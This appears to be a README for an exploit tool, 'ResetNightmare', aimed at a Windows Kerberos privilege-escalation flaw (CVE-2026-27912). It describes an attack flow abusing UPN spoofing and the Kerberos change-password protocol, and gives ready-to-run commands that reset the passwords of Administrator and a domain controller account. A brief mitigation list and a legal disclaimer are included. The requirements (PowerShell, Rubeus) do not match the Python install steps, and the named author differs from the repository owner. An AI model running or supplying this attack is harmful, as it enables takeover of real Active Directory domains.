Kerberos-CVE-2026-27912

CVE-2026-27912 - Windows Kerberos Elevation of Privilege Vulnerability

ResetNightmare - Unauthorized password reset via Kerberos Change Password protocol flaw.

📋 Details

🔍 Attack Flow

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Requirements

• Windows with PowerShell
• ActiveDirectory module (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (download from GhostPack/Rubeus)
• Network access to Domain Controller

🚀 Installation

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Usage

Basic Attack

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Target Computer Account

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Create New Account

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Verbose Mode

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Arguments

🛡️ Mitigation

1. Apply the official patch from Microsoft Security Update
2. Segment network to limit adjacent network access
3. Enforce least privilege - restrict UPN write permissions
4. Monitor for suspicious UPN changes and password resets

⚠️ Disclaimer

For authorized security testing and educational research only.

Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software.

📚 References

• NVD: CVE-2026-27912
• Microsoft Security Update Guide

👨‍💻 Author

n0vax1337 / Security Researcher

📄 License

MIT License - see LICENSE

Last Updated: 2026